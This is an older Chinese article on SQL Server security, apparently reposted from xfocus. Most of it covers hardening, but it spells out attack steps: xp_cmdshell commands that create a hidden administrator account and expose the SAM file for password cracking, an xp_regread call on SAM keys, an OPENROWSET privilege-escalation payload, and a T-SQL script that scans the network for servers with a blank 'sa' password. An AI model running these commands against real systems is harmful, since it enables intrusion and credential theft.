關於SQL SERVER的一些安全問題
最後更新:2017-01-13
來源:互聯網
上載者:User
關於SQL SERVER的一些安全問題
BY XUNDI<安全焦點>
xundi1@21cn.com
www.xfocus.org
目前關於NT伺服器的入侵,有很多種方法,如對IIS的漏洞進行利用,但
大家不知道注意到沒有,其實通過與NT伺服器相關聯的SQL資料庫伺服器
的例子也是很有比例的一種手段。大家可以參看下面的一個新聞報道:
http://www.vnunet.com/News/1110938。
Herbless入侵破壞的一些網站,如legoland.co.uk網站就是通過SQL伺服器
的入侵而獲得對系統的控制權而破壞的。所以對SQL伺服器的保護是必不可
少的,這裡我整理了一些漏洞供大家來參考,見笑,見笑。
----------------------------------------------------------------
我們先來看看SQL服務程式支援的網路通訊協定庫:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB連接埠(TCP139,UDP137, | 否 |
|(有名管道) | 138)來進行通訊,這些可以被通 | |
| | 的防火牆控制,但如果內部網路可| |
| | 隨意訪問的話也是一個不小的缺陷| |
| | --使用者名稱字,密碼和資料沒有進行加| |
| | 傳輸,任何人可以通過SNIFFER來 | |
| | 進行資料擷取。 | |
----------------------------------------------------------------
|IP Sockets | --預設狀態下開1433口,你可以使用| 否 |
| | 掃描器來查看這個連接埠。 | |
| | 可以被SNIFFER截獲資料。 | |
----------------------------------------------------------------
|Multi-Protocol | --用戶端需要支援NT RPCs;在不同 | 是 |
| | 種類的環境中可能引起問題。 | |
| | --預設情況下使用TCP隨機連接埠,但| |
| | 防火牆進行連接埠圖固定實現(參 | |
| | 看KB Q164667)。 | |
| | --需要注意加密選項是否選擇,默 | |
| | 是不選擇此選項的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截獲資料的危險 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截獲資料的危險 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截獲資料的危險 | 否 |
----------------------------------------------------------------
一般的推薦使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol,那你就使用這些協議庫,如果可能,盡量使用Multi-protocol
和使能加密選項。如果你上面幾個不能使用,那就使用IP Sockets協議,並改變
其預設的連接埠並隨時檢查系統保證無任何SNIFFER存在。並且,考慮使用一WEB服
務或者COM組件作為應用程式的business object layer,並在中介層和SQL服務程
序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通訊。
-----------------------------------------------------------------------
下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作?
安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的使用者,請看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別:
-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |
-------------------------------------------------------------------
|Standard | --登陸定義在SQL SERVER裡| --單獨的標準模式在SQL SERVER|
|標準模式 | 而且給定密碼。 | 沒有使用了。 |
| | --SQL SERVER的登入帳戶與| |
| | WINDOW NT分開 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帳 | --在這裡成為"Windows NT only"|
|綜合模式 | 戶。 | 模式。 |
| |-使用者在串連到SQL SERVER| --只工作在NT系統下,在WIN9X不|
| | 不需要特定分開LOGIN和 | 支援。 |
| | 密碼。 | |
| |-密碼從不儲存在應用程式| --可以直接結合到NT的組中便於 |
| | 中,並不以明文在網路中| 管理,(注意有一BUILTIN組在|
| | 傳輸。 | 本地系統上產生). |
| |-SQL SERVER可以使用NT的| |
| | 的認證方式來認證使用者並| |
| | 可以使用如帳戶到期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol庫。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有後退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------
登入只不過是第一步,一旦使用者登入,使用者必須訪問獨立的資料庫,要使上面
的成立,就必須在sysusers表裡存在一表目給使用者用的每個資料庫。所以安全
請你注意在你的資料庫中是否存在"guest"帳戶和保證不會在你不注意的時候給
某些人訪問你的資料庫。
詳細的大家可以參看微軟的網站:
http://www.microsoft.com/technet/SQL/Technote/secure.asp
---------------------------------------------------------------------
關於SQL SERVER存在的一些安全問題:
存在"sa"帳戶,密碼就為空白,而且這個密碼是SQL SERVER安全模組成員,我們就
可以通過xp_cmdshell stored procedure(擴充預存程序)來進行命
令操作,如:
Xp_cmdshell "net user testuser UgotHacked /ADD"
然後在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"
這樣攻擊者就成功的在SQL SERVER上增加了一個使用者。
當然遠端話,一般需要有1433口開著,通過MYSQL 用戶端進行串連。
當然你也可以使用:
Xp_cmdshell "rdisk /s-"
的方法,這樣就在winnt epair目錄裡重建了資訊而不提示使用者。然後
在SAM備份以後,攻擊者可以建立一個SMB串連到共用或者建立一個串連:
Xp_cmdshell "net share getsam=c:winnt epair"
利用共用獲得這個檔案,然後在使用l0phtcrack來跑吧。如果SMB連接埠被防火牆
控制了,或者關閉了,攻擊者也可以拷貝sam._檔案到WEB目錄進行匿名瀏覽器
下載。如果人家沒有開IIS,你何不用tftp呢:).
OK,通過這台被控制的SQL SERVER伺服器,攻擊者可以通過它來尋找網路內部
其他機器來擴大戰果,下面是一個SQL指令碼來列舉網路中其他SQL SERVER存在
空帳戶'sa'的樣本:
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell 'osql -S' + @current_server + ' -Usa -P -Q "select @@version"''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
當然有些人也可能關閉xp_cmdshell extended stored procedure(擴充預存程序),
我們也可以使用下面的方法:
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'
如果MSSqlserver 服務在本地系統帳戶下運行,並且如果系統上沒有安裝syskey,上面
的調用就可以返回註冊表中加密的密碼或者SID。
--------------------------------------------------------------------------
另一個漏洞,是關於adhoc heterogenous queries 來進行權利的提升,請看下面微軟
的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
關於上面的漏洞,可以使用下面的xploit來獲得權利的提升:
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:"')
這是大家比較喜歡的一種可以執行其他命令,自己想吧。
---------------------------------------------------------------------------
還有就是最近的一個漏洞:Extended Stored Procedure Parameter Parsing (擴充儲存
過程參數解析)的漏洞,詳細資料在這個URL有介紹:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要問題是在MSD中提供一個API函數srv_paraminfo(),它是用來擴充預存程序調用時
解釋深入參數的,如:
exec <預存程序名> <參數1>, <參數2>, ...
如要查詢“c:winnt”的分類樹,可以如下表達:
exec xp_dirtree 'c:winnt'
但沒有檢查各個參數的長度,傳遞相當長的字串,就存在了覆蓋其他堆棧
參數的可能導致緩衝溢出。
目前已經知道的過程如下:
目前已知受影響的擴充預存程序如下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
給第一個參數傳遞超長的字串會覆蓋例外處理常式所儲存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
該預存程序使用4個參數。給第二個參數傳遞超長的字串會覆蓋異常處
理程式所儲存的返回地址。
3、xp_SetSQLSecurity (xpstar.dll)
該預存程序使用4個參數。給第三個參數傳遞超長的字串會使整個SQL
Server進程立即終止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
給第一個參數傳遞超長的串將導致非法操作並覆蓋例外處理常式所儲存的返
回地址。
這裡告訴大家一個技巧性的東西,如果想要知道這些擴充預存程序調用了那寫dll
檔案,你可以如下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
這樣你就可以獲得調用這個擴充預存程序的DLL了,如果微軟沒有出補丁的話,你就
暫時把這個DLL檔案改名吧,當然有些DLL檔案調用幾個擴充預存程序,不能盲目更改,
否則導致其他的也不能使用,你需要使用下面的操作來知道DLL調用那些擴充預存程序:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
幸好微軟出了補丁,你可以到下面的地方找到,不用一個一個找DLL程式了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
這個漏洞@stake發現並提供示範的測試代碼,大家可在這裡找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK,當然SQL SERVER也有一些其他漏洞,相對輕微些,如ISS發現的管理員
LOGIN ID儲存在註冊表中,其加密的方法比較簡單,很容易獲得,詳細情況
請看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
---------------------------------------------------------------------
一些對SQL SERVER系統的安全建議:
--保證打上最新的安全補丁,如下:
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
當然大家要密切注意微軟的資訊安全諮詢。
--不要在IP sockets使用連接埠1433,如果你使用Multi-protocol也請
修改連接埠。
--不要把'sa'密碼嵌入到任意應用程式如VB/DELPHI apps裡,或者一
global.asa檔案裡,因為"sa"是SQL Server 的一個預設密碼,其許可權
類似與WINDOWS NT系統裡的系統管理員帳戶,而且密碼為空白。
--改變'sa'和'probe'帳戶的密碼。
--保證SQL SERVER的錯誤記錄在NTFS系統上。
--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(擴充預存程序) 留在服務
器上。在任何isql視窗中輸入:
use master
sp_dropextendedproc 'xp_cmdshell'
--丟棄不需要OLE自動預存程序,當然Enterprise Manager中的某些特徵也
會不能使用,這些過程包括如下:
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需要的註冊表訪問過程,如下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉其他系統預存程序,如果你認為你覺得你還有威脅,當然
要小心Drop這些過程,你可以在測試機器上測試,保證你正常的
系統能完成工作,這些過程包括:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉資料庫中guest使用者。
--關閉SQL MAIL相容能力,防止傳遞一些木馬病毒等。
--設定一個任務處理來定時運行下面的程式:
findstr /C:"Login Failed" mssql7log*.*'
再重新導向到其他檔案或者MAIL到管理員信箱。
--經常檢查帶有空密碼的帳戶:
Use master
Select name,
Password
from syslogins
where password is null
order by name
--檢查所有不需要'sa'許可權的預存程序和擴充預存程序存取權限:
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name